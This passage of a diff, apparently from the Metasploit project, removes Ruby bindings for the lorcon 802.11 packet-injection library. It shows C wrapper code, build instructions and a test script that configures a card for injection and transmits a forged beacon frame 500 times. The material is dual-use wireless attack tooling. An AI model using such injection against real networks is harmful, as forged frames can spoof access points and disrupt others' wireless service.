switch (mode) {
case TX80211_MODE_AUTO:
return rb_str_new2("AUTO");
break;
case TX80211_MODE_ADHOC:
return rb_str_new2("ADHOC");
break;
case TX80211_MODE_INFRA:
return rb_str_new2("INFRA");
break;
case TX80211_MODE_MASTER:
return rb_str_new2("MASTER");
break;
case TX80211_MODE_REPEAT:
return rb_str_new2("REPEAT");
break;
case TX80211_MODE_SECOND:
return rb_str_new2("SECOND");
break;
case TX80211_MODE_MONITOR:
return rb_str_new2("MONITOR");
break;
default:
return Qnil;
break;
}
}
static VALUE lorcon_device_set_mode(VALUE self, VALUE rmode) {
struct rldev *rld;
char *setmode = StringValuePtr(rmode);
int mode = -1;
Data_Get_Struct(self, struct rldev, rld);
if (strcmp(setmode, "AUTO") == 0) {
mode = TX80211_MODE_AUTO;
} else if (strcmp(setmode, "ADHOC") == 0) {
mode = TX80211_MODE_ADHOC;
} else if (strcmp(setmode, "INFRA") == 0) {
mode = TX80211_MODE_INFRA;
} else if (strcmp(setmode, "MASTER") == 0) {
mode = TX80211_MODE_MASTER;
} else if (strcmp(setmode, "REPEAT") == 0) {
mode = TX80211_MODE_REPEAT;
} else if (strcmp(setmode, "SECOND") == 0) {
mode = TX80211_MODE_SECOND;
} else if (strcmp(setmode, "MONITOR") == 0) {
mode = TX80211_MODE_MONITOR;
} else {
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return INT2NUM(tx80211_setmode(&rld->in_tx, mode));
}
static VALUE lorcon_device_set_functional_mode(VALUE self, VALUE rmode) {
struct rldev *rld;
char *funcmode = StringValuePtr(rmode);
int mode = -1;
Data_Get_Struct(self, struct rldev, rld);
if (strcmp(funcmode, "RFMON") == 0) {
mode = TX80211_FUNCMODE_RFMON;
} else if (strcmp(funcmode, "INJECT") == 0) {
mode = TX80211_FUNCMODE_INJECT;
} else if (strcmp(funcmode, "INJMON") == 0) {
mode = TX80211_FUNCMODE_INJMON;
} else {
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
if (tx80211_setfunctionalmode(&rld->in_tx, mode) != 0) {
rb_raise(rb_eArgError, "Lorcon could not set the functional mode: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return Qtrue;
}
static VALUE lorcon_device_get_txrate(VALUE self) {
struct rldev *rld;
int txrate;
txrate = tx80211_gettxrate(&rld->in_packet);
Data_Get_Struct(self, struct rldev, rld);
switch (txrate) {
case TX80211_RATE_DEFAULT:
return UINT2NUM(0);
break;
case TX80211_RATE_1MB:
return UINT2NUM(1);
break;
case TX80211_RATE_2MB:
return UINT2NUM(2);
break;
case TX80211_RATE_5_5MB:
return UINT2NUM(5);
break;
case TX80211_RATE_6MB:
return UINT2NUM(6);
break;
case TX80211_RATE_9MB:
return UINT2NUM(9);
break;
case TX80211_RATE_11MB:
return UINT2NUM(11);
break;
case TX80211_RATE_24MB:
return UINT2NUM(24);
break;
case TX80211_RATE_36MB:
return UINT2NUM(36);
break;
case TX80211_RATE_48MB:
return UINT2NUM(48);
break;
case TX80211_RATE_108MB:
return UINT2NUM(108);
break;
default:
rb_raise(rb_eArgError, "Lorcon could not determine the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return Qnil;
}
static VALUE lorcon_device_set_txrate(VALUE self, VALUE rrate) {
struct rldev *rld;
float settxrate = -1;
int txrate = -1;
Data_Get_Struct(self, struct rldev, rld);
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETRATE) == 0) {
rb_raise(rb_eArgError, "Lorcon does not support setting the tx rate for this card");
return(Qnil);
}
settxrate = NUM2DBL(rrate);
if (settxrate == -1) {
txrate = TX80211_RATE_DEFAULT;
} else if (settxrate == 1) {
txrate = TX80211_RATE_1MB;
} else if (settxrate == 2) {
txrate = TX80211_RATE_2MB;
} else if (settxrate == 5.5) {
txrate = TX80211_RATE_5_5MB;
} else if (settxrate == 6) {
txrate = TX80211_RATE_6MB;
} else if (settxrate == 9) {
txrate = TX80211_RATE_9MB;
} else if (settxrate == 11) {
txrate = TX80211_RATE_11MB;
} else if (settxrate == 24) {
txrate = TX80211_RATE_24MB;
} else if (settxrate == 36) {
txrate = TX80211_RATE_36MB;
} else if (settxrate == 48) {
txrate = TX80211_RATE_48MB;
} else if (settxrate == 108) {
txrate = TX80211_RATE_108MB;
} else {
rb_raise(rb_eArgError, "Lorcon does not support this rate setting");
return(Qnil);
}
if (tx80211_settxrate(&rld->in_tx, &rld->in_packet, txrate) < 0) {
rb_raise(rb_eArgError, "Lorcon could not set the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return INT2NUM(txrate);
}
static VALUE lorcon_device_get_modulation(VALUE self) {
struct rldev *rld;
int mod;
Data_Get_Struct(self, struct rldev, rld);
mod = tx80211_getmodulation(&rld->in_packet);
switch (mod) {
case TX80211_MOD_DEFAULT:
return rb_str_new2("DEFAULT");
break;
case TX80211_MOD_FHSS:
return rb_str_new2("FHSS");
break;
case TX80211_MOD_DSSS:
return rb_str_new2("DSSS");
break;
case TX80211_MOD_OFDM:
return rb_str_new2("OFDM");
break;
case TX80211_MOD_TURBO:
return rb_str_new2("TURBO");
break;
case TX80211_MOD_MIMO:
return rb_str_new2("MIMO");
break;
case TX80211_MOD_MIMOGF:
return rb_str_new2("MIMOGF");
break;
default:
rb_raise(rb_eArgError, "Lorcon could not get the modulation value");
return(Qnil);
}
return(Qnil);
}
static VALUE lorcon_device_set_modulation(VALUE self, VALUE rmod) {
struct rldev *rld;
char *setmod = NULL;
int mod;
Data_Get_Struct(self, struct rldev, rld);
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETMODULATION) == 0) {
rb_raise(rb_eArgError, "Lorcon does not support setting the modulation for this card");
return(Qnil);
}
setmod = StringValuePtr(rmod);
if (strcmp(setmod, "DEFAULT") == 0) {
mod = TX80211_MOD_DEFAULT;
} else if (strcmp(setmod, "FHSS") == 0) {
mod = TX80211_MOD_FHSS;
} else if (strcmp(setmod, "DSSS") == 0) {
mod = TX80211_MOD_DSSS;
} else if (strcmp(setmod, "OFDM") == 0) {
mod = TX80211_MOD_OFDM;
} else if (strcmp(setmod, "TURBO") == 0) {
mod = TX80211_MOD_TURBO;
} else if (strcmp(setmod, "MIMO") == 0) {
mod = TX80211_MOD_MIMO;
} else if (strcmp(setmod, "MIMOGF") == 0) {
mod = TX80211_MOD_MIMOGF;
} else {
rb_raise(rb_eArgError, "Lorcon does not support this modulation setting");
return(Qnil);
}
if (tx80211_setmodulation(&rld->in_tx, &rld->in_packet, mod) < 0) {
rb_raise(rb_eArgError, "Lorcon could not set the modulation: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return INT2NUM(mod);
}
static VALUE lorcon_device_get_capabilities(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return(lorcon_cap_to_list(tx80211_getcapabilities(&rld->in_tx)));
}
static VALUE lorcon_device_open(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
int ret = 0;
int drivertype = INJ_NODRIVER;
char *driver, *intf;
VALUE rbdriver, rbintf;
VALUE obj;
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
driver = STR2CSTR(rbdriver);
intf = STR2CSTR(rbintf);
obj = Data_Make_Struct(cDevice, struct rldev, 0, lorcon_device_free, rld);
drivertype = tx80211_resolvecard(driver);
if (drivertype == INJ_NODRIVER) {
rb_raise(rb_eArgError, "Lorcon did not recognize the specified driver");
return(Qnil);
}
if (tx80211_init(&rld->in_tx, intf, drivertype) < 0) {
rb_raise(rb_eRuntimeError, "Lorcon could not initialize the interface: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
/* Open the interface to get a socket */
ret = tx80211_open(&rld->in_tx);
if (ret < 0) {
rb_raise(rb_eRuntimeError, "Lorcon could not open the interface: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE lorcon_device_write(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
int ret = 0;
int cnt = 0;
int dly = 0;
VALUE rbbuff, rbcnt, rbdelay;
Data_Get_Struct(self, struct rldev, rld);
switch(rb_scan_args(argc, argv, "12", &rbbuff, &rbcnt, &rbdelay)) {
case 1:
rbdelay = INT2NUM(0);
case 2:
rbcnt = INT2NUM(1);
default:
break;
}
cnt = NUM2INT(rbcnt);
dly = NUM2INT(rbdelay);
rld->in_packet.packet = StringValuePtr(rbbuff);
rld->in_packet.plen = RSTRING(rbbuff)->len;
for (; cnt > 0; cnt--) {
ret = tx80211_txpacket(&rld->in_tx, &rld->in_packet);
if (ret < 0) {
rb_raise(rb_eRuntimeError, "Lorcon could not transmit packet: %s", tx80211_geterrstr(&rld->in_tx));
return(INT2NUM(ret));
}
if (dly > 0)
#ifdef _MSC_VER
Sleep(dly);
#else
usleep(dly);
#endif
}
return (rbcnt);
}
void Init_Lorcon() {
mLorcon = rb_define_module("Lorcon");
rb_define_module_function(mLorcon, "drivers", lorcon_driver_list, 0);
rb_define_module_function(mLorcon, "version", lorcon_get_version, 0);
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
rb_define_singleton_method(cDevice, "new", lorcon_device_open, -1);
rb_define_method(cDevice, "channel", lorcon_device_get_channel, 0);
rb_define_method(cDevice, "channel=", lorcon_device_set_channel, 1);
rb_define_method(cDevice, "write", lorcon_device_write, -1);
rb_define_method(cDevice, "mode", lorcon_device_get_mode, 0);
rb_define_method(cDevice, "mode=", lorcon_device_set_mode, 1);
rb_define_method(cDevice, "fmode=", lorcon_device_set_functional_mode, 1);
rb_define_method(cDevice, "txrate", lorcon_device_get_txrate, 0);
rb_define_method(cDevice, "txrate=", lorcon_device_set_txrate, 1);
rb_define_method(cDevice, "modulation", lorcon_device_get_modulation, 0);
rb_define_method(cDevice, "modulation=", lorcon_device_set_modulation, 1);
rb_define_method(cDevice, "capabilities", lorcon_device_get_capabilities, 0);
}

View File

@ -1,19 +0,0 @@
#ifndef _MSFLORCON_H
#define _MSFLORCON_H
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <sys/socket.h>
#include <tx80211.h>
#include <tx80211_packet.h>
struct rldev {
struct tx80211 in_tx;
struct tx80211_packet in_packet;
};
#endif

View File

@ -1,41 +0,0 @@
This is an experimental interface for lorcon, a 802.11 library
developed by Joshua Wright and dragorn. This interface is only
available on Linux and with lorcon-supported wireless drivers.
For more information, please see the lorcon documentation and code:
http://www.802.11mercenary.net/lorcon/
To build this extension:
1) Download, compile, and install lorcon
The latest version of lorcon can pulled from SVN:
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
$ cd lorcon
$ ./configure
$ make
$ sudo make install
-- or --
$ su
# make install
# exit
$ cd ..
2) build the ruby extension..
$ ruby extconf.rb
$ make
$ sudo make install
-- or --
$ su
# make install
NOTES:
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
you need ruby dev package.
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
from extconf.rb:2
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev

View File

@ -1,8 +0,0 @@
#!/usr/bin/env ruby
require 'mkmf'
if (have_library("orcon", "tx80211_txpacket", "tx80211.h") or find_library("orcon", "tx80211_txpacket", "tx80211.h"))
create_makefile("Lorcon")
else
puts "Error: the lorcon library was not found, please see the README"
end

View File

@ -1,47 +0,0 @@
#!/usr/bin/env ruby
$:.unshift(File.dirname(__FILE__))
require "Lorcon"
require "pp"
pp Lorcon.version
pp Lorcon.drivers
# Beacon frame from tx.c
packet = [
0x80, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # dur ffff
0xff, 0xff, 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03,
0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, 0x00, 0x00, # 0x0000 - seq no.
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # BSS timestamp
0x64, 0x00, 0x11, 0x00, 0x00, 0x0f, 0x73, 0x6f,
0x6d, 0x65, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x63,
0x6c, 0x65, 0x76, 0x65, 0x72, 0x01, 0x08, 0x82,
0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03,
0x01, 0x01, 0x05, 0x04, 0x00, 0x01, 0x00, 0x00,
0x2a, 0x01, 0x05, 0x2f, 0x01, 0x05, 0x32, 0x04,
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x05, 0x00, 0x10,
0x18, 0x01, 0x01, 0xdd, 0x16, 0x00, 0x50, 0xf2,
0x01, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01,
0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x00, 0x00,
0x50, 0xf2, 0x02
].pack('C*')
# Configure the card for reliable injection
tx = Lorcon::Device.new('ath0', 'madwifing')
tx.fmode = "INJECT"
tx.channel = 11
tx.txrate = 2
tx.modulation = "DSSS"
sa = Time.now.to_f
tx.write(packet, 500, 0)
ea = Time.now.to_f - sa
sb = Time.now.to_f
500.times { tx.write(packet, 1, 0) }
eb = Time.now.to_f - sb
$stdout.puts "Sent 500 packets (C) in #{ea.to_s} seconds"
$stdout.puts "Sent 500 packets (Ruby) in #{eb.to_s} seconds"

View File

@ -1,655 +0,0 @@
#include "Lorcon2.h"
#include "ruby.h"
#ifndef RUBY_19
#include "rubysig.h"
#endif
/*
self.license = GPLv2;
*/
/*
This is a derivative of the tx.c sample included with lorcon:
http://802.11ninja.net/lorcon/
lorcon is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
lorcon is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with lorcon; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Copyright (c) 2005 dragorn and Joshua Wright
*/
/*
Lots of code borrowed from Tom Wambold's pylorcon:
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
*/
/*
All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007
http://metasploit.com/ - msfdev[at]metasploit.com
*/
VALUE mLorcon;
VALUE cDevice;
VALUE cPacket;
VALUE Lorcon_get_version(VALUE self) {
return INT2NUM(lorcon_get_version());
}
static VALUE Lorcon_list_drivers(VALUE self) {
VALUE list;
VALUE hash;
lorcon_driver_t *drvlist, *dri;
list = rb_hash_new();
dri = drvlist = lorcon_list_drivers();
if (dri == NULL)
return Qnil;
while (dri) {
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
rb_hash_aset(list, rb_str_new2(dri->name),hash);
dri = dri->next;
}
lorcon_free_driver_list(drvlist);
return(list);
}
static VALUE Lorcon_find_driver(VALUE self, VALUE driver) {
VALUE hash;
lorcon_driver_t *dri;
char *drivert = RSTRING_PTR(driver);
dri = lorcon_find_driver(drivert);
if (dri == NULL)
return Qnil;
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
lorcon_free_driver_list(dri);
return(hash);
}
static VALUE Lorcon_auto_driver(VALUE self, VALUE interface) {
VALUE hash;
lorcon_driver_t *dri;
char *intf = RSTRING_PTR(interface);
dri = lorcon_auto_driver(intf);
if (dri == NULL)
return Qnil;
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
lorcon_free_driver_list(dri);
return hash;
}
void Lorcon_free(struct rldev *rld) {
if (rld->context != NULL)
lorcon_free(rld->context);
}
static VALUE Lorcon_create(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
char *intf = NULL, *driver = NULL;
VALUE rbdriver, rbintf, obj;
lorcon_driver_t *dri;
if (argc == 2) {
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
intf = StringValuePtr(rbintf);
driver = StringValuePtr(rbdriver);
} else {
rb_scan_args(argc, argv, "1", &rbintf);
intf = StringValuePtr(rbintf);
}
if (driver == NULL) {
if ((dri = lorcon_auto_driver(intf)) == NULL) {
rb_raise(rb_eRuntimeError,
"LORCON could not detect a driver and none specified");
return (Qnil);
}
} else {
if ((dri = lorcon_find_driver(driver)) == NULL) {
rb_raise(rb_eArgError,
"LORCON could not recognize the specified driver");
return (Qnil);
}
}
obj = Data_Make_Struct(cDevice, struct rldev, 0, Lorcon_free, rld);
rld->context = lorcon_create(intf, dri);
// Obsolete: XXX
// lorcon_set_timeout(rld->context, 100);
if (rld->context == NULL) {
rb_raise(rb_eRuntimeError,
"LORCON could not create context");
return (Qnil);
}
lorcon_free_driver_list(dri);
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE Lorcon_open_inject(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
if (lorcon_open_inject(rld->context) < 0)
return Qfalse;
return Qtrue;
}
static VALUE Lorcon_open_monitor(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
if (lorcon_open_monitor(rld->context) < 0)
return Qfalse;
return Qtrue;
}
static VALUE Lorcon_open_injmon(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
if (lorcon_open_injmon(rld->context) < 0)
return Qfalse;
return Qtrue;
}
static VALUE Lorcon_get_error(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return rb_str_new2(lorcon_get_error(rld->context));
}
static VALUE Lorcon_get_capiface(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return rb_str_new2(lorcon_get_capiface(rld->context));
}
void Lorcon_packet_free(struct rlpack *rlp) {
if (rlp->packet != NULL) {
lorcon_packet_free(rlp->packet);
rlp->packet = NULL;
free(rlp);
}
}
static VALUE Lorcon_packet_create(int argc, VALUE *argv, VALUE self) {
struct rlpack *rlp;
VALUE obj;
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
rlp->packet = (struct lorcon_packet *) malloc(sizeof(struct lorcon_packet));
memset(rlp->packet, 0, sizeof(struct lorcon_packet));
rlp->bssid = NULL;
rlp->dot3 = NULL;
rlp->len = 0;
rlp->dir = 0;
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE Lorcon_packet_get_channel(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->channel);
}
static VALUE Lorcon_packet_set_channel(VALUE self, VALUE channel) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
lorcon_packet_set_channel(rlp->packet, NUM2INT(channel));
return channel;
}
static VALUE Lorcon_packet_get_dlt(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->dlt);
}
static VALUE Lorcon_packet_get_bssid(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->bssid_mac == NULL)
return Qnil;
return rb_str_new((char *)extra->bssid_mac, 6);
}
static VALUE Lorcon_packet_get_source(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->source_mac == NULL)
return Qnil;
return rb_str_new((char *)extra->source_mac, 6);
}
static VALUE Lorcon_packet_get_dest(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->dest_mac == NULL)
return Qnil;
return rb_str_new((char *)extra->dest_mac, 6);
}
static VALUE Lorcon_packet_get_rawdata(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_raw == NULL)
return Qnil;
return rb_str_new((char *)rlp->packet->packet_raw, rlp->packet->length);
}
static VALUE Lorcon_packet_get_headerdata(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_header == NULL)
return Qnil;
return rb_str_new((char *)rlp->packet->packet_header, rlp->packet->length_header);
}
static VALUE Lorcon_packet_get_data(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_data == NULL)
return Qnil;
return rb_str_new((char *)rlp->packet->packet_data, rlp->packet->length_data);
}
static VALUE Lorcon_packet_getdot3(VALUE self) {
struct rlpack *rlp;
u_char *pdata;
int len;
VALUE ret;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->packet->packet_data == NULL)
return Qnil;
len = lorcon_packet_to_dot3(rlp->packet, &pdata);
ret = rb_str_new((char *)pdata, len);
free(pdata);
return ret;
}
static VALUE Lorcon_packet_prepdot3(VALUE self, VALUE dot3) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
rlp->dot3 = (unsigned char *) RSTRING_PTR(dot3);
rlp->len = RSTRING_LEN(dot3);
return dot3;
}
static VALUE Lorcon_packet_prepbssid(VALUE self, VALUE bssid) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
rlp->bssid = (unsigned char *)RSTRING_PTR(bssid);
return bssid;
}
static VALUE Lorcon_packet_prepdir(VALUE self, VALUE dir) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
rlp->dir = NUM2INT(dir);
return dir;
}
static VALUE Lorcon_packet_getdir(VALUE self) {
struct rlpack *rlp;
struct lorcon_dot11_extra *extra;
Data_Get_Struct(self, struct rlpack, rlp);
if (rlp->dir != 0)
return INT2FIX(rlp->dir);
if (rlp->packet == NULL)
return Qnil;
if (rlp->packet->extra_info == NULL ||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
return Qnil;
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
if (extra->from_ds && !extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_FROMDS);
else if (!extra->from_ds && extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_TODS);
else if (!extra->from_ds && !extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_ADHOCDS);
else if (extra->from_ds && extra->to_ds)
return INT2FIX(LORCON_DOT11_DIR_INTRADS);
return Qnil;
}
static VALUE Lorcon_packet_get_rawlength(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->length);
}
static VALUE Lorcon_packet_get_headerlength(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->length_header);
}
static VALUE Lorcon_packet_get_datalength(VALUE self) {
struct rlpack *rlp;
Data_Get_Struct(self, struct rlpack, rlp);
return INT2FIX(rlp->packet->length_data);
}
VALUE new_lorcon_packet(struct lorcon_packet **packet) {
struct rlpack *rlp;
VALUE obj;
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
rlp->packet = *packet;
rb_obj_call_init(obj, 0, 0);
return(obj);
}
static VALUE Lorcon_inject_packet(VALUE self, VALUE packet) {
struct rldev *rld;
struct rlpack *rlp;
lorcon_packet_t *pack = NULL;
int ret;
if (rb_obj_is_kind_of(packet, cPacket) == 0) {
rb_raise(rb_eTypeError, "wrong type expected %s", rb_class2name(cPacket));
return Qnil;
}
Data_Get_Struct(self, struct rldev, rld);
Data_Get_Struct(packet, struct rlpack, rlp);
if (rlp->bssid != NULL && rlp->dot3 != NULL) {
pack = lorcon_packet_from_dot3(rlp->bssid, rlp->dir, rlp->dot3, rlp->len);
ret = lorcon_inject(rld->context, pack);
lorcon_packet_free(pack);
} else {
ret = lorcon_inject(rld->context, rlp->packet);
}
return INT2FIX(ret);
}
static VALUE Lorcon_write_raw(VALUE self, VALUE rpacket) {
struct rldev *rld;
int ret;
Data_Get_Struct(self, struct rldev, rld);
if(TYPE(rpacket) != T_STRING) {
rb_raise(rb_eArgError, "packet data must be a string");
return Qnil;
}
ret = lorcon_send_bytes(rld->context, RSTRING_LEN(rpacket), (unsigned char *)RSTRING_PTR(rpacket));
return INT2FIX(ret);
}
static VALUE Lorcon_set_filter(VALUE self, VALUE filter) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2FIX(lorcon_set_filter(rld->context, RSTRING_PTR(filter)));
}
static VALUE Lorcon_set_channel(VALUE self, VALUE channel) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2FIX(lorcon_set_channel(rld->context, NUM2INT(channel)));
}
static VALUE Lorcon_get_channel(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2FIX(lorcon_get_channel(rld->context));
}
static void rblorcon_pcap_handler(rblorconjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
job->pkt = (unsigned char *)pkt;
job->hdr = *hdr;
}
static VALUE Lorcon_capture_next(VALUE self) {
struct rldev *rld;
int ret = 0;
struct lorcon_packet *packet;
unsigned char *raw;
pcap_t *pd;
rblorconjob_t job;
Data_Get_Struct(self, struct rldev, rld);
pd = lorcon_get_pcap(rld->context);
#ifndef RUBY_19
TRAP_BEG;
#endif
ret = pcap_dispatch(pd, 1, (pcap_handler) rblorcon_pcap_handler, (u_char *)&job);
#ifndef RUBY_19
TRAP_END;
#endif
if (ret == 0)
return(Qnil);
if (ret < 0 || job.hdr.caplen <= 0)
return INT2FIX(ret);
raw = malloc(job.hdr.caplen);
if(! raw) return Qnil;
memcpy(raw, job.pkt, job.hdr.caplen);
packet = lorcon_packet_from_pcap(rld->context, &job.hdr, raw);
lorcon_packet_set_freedata(packet, 1);
return new_lorcon_packet(&packet);
}
static VALUE Lorcon_capture_loop(int argc, VALUE *argv, VALUE self) {
struct rldev *rld;
int count = 0;
int p = 0;
VALUE v_cnt;
VALUE ret;
int fd;
Data_Get_Struct(self, struct rldev, rld);
if (rb_scan_args(argc, argv, "01", &v_cnt) >= 1) {
count = FIX2INT(v_cnt);
} else {
count = -1;
}
fd = lorcon_get_selectable_fd(rld->context);
if(fd < 0 ) {
rb_raise(rb_eRuntimeError,
"LORCON context could not provide a pollable descriptor "
"and we need one for the threaded dispatch loop");
}
while (p < count || count <= 0) {
ret = Lorcon_capture_next(self);
if(TYPE(ret) == T_FIXNUM) return(ret);
if(ret == Qnil) {
rb_thread_wait_fd(fd);
} else {
rb_yield(ret);
p++;
}
}
return INT2FIX(p);
}
void Init_Lorcon2() {
mLorcon = rb_define_module("Lorcon");
cPacket = rb_define_class_under(mLorcon, "Packet", rb_cObject);
rb_define_const(cPacket, "LORCON_FROM_DS", INT2NUM(LORCON_DOT11_DIR_FROMDS));
rb_define_const(cPacket, "LORCON_TO_DS", INT2NUM(LORCON_DOT11_DIR_TODS));
rb_define_const(cPacket, "LORCON_INTRA_DS", INT2NUM(LORCON_DOT11_DIR_INTRADS));
rb_define_const(cPacket, "LORCON_ADHOC_DS", INT2NUM(LORCON_DOT11_DIR_ADHOCDS));
rb_define_singleton_method(cPacket, "new", Lorcon_packet_create, -1);
rb_define_method(cPacket, "bssid", Lorcon_packet_get_bssid, 0);
rb_define_method(cPacket, "source", Lorcon_packet_get_source, 0);
rb_define_method(cPacket, "dest", Lorcon_packet_get_dest, 0);
rb_define_method(cPacket, "channel", Lorcon_packet_get_channel, 0);
rb_define_method(cPacket, "channel=", Lorcon_packet_set_channel, 1);
rb_define_method(cPacket, "dlt", Lorcon_packet_get_dlt, 0);
rb_define_method(cPacket, "rawdata", Lorcon_packet_get_rawdata, 0);
rb_define_method(cPacket, "headerdata", Lorcon_packet_get_headerdata, 0);
rb_define_method(cPacket, "data", Lorcon_packet_get_data, 0);
rb_define_method(cPacket, "dot3", Lorcon_packet_getdot3, 0);
rb_define_method(cPacket, "dot3=", Lorcon_packet_prepdot3, 1);
rb_define_method(cPacket, "bssid=", Lorcon_packet_prepbssid, 1);
rb_define_method(cPacket, "direction=", Lorcon_packet_prepdir, 1);
rb_define_method(cPacket, "direction", Lorcon_packet_getdir, 0);
rb_define_method(cPacket, "size", Lorcon_packet_get_rawlength, 0);
rb_define_method(cPacket, "linesize", Lorcon_packet_get_rawlength, 0);
rb_define_method(cPacket, "headersize", Lorcon_packet_get_headerlength, 0);
rb_define_method(cPacket, "datasize", Lorcon_packet_get_datalength, 0);
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
rb_define_singleton_method(cDevice, "new", Lorcon_create, -1);
rb_define_method(cDevice, "openinject", Lorcon_open_inject, 0);
rb_define_method(cDevice, "openmonitor", Lorcon_open_monitor, 0);
rb_define_method(cDevice, "openinjmon", Lorcon_open_injmon, 0);
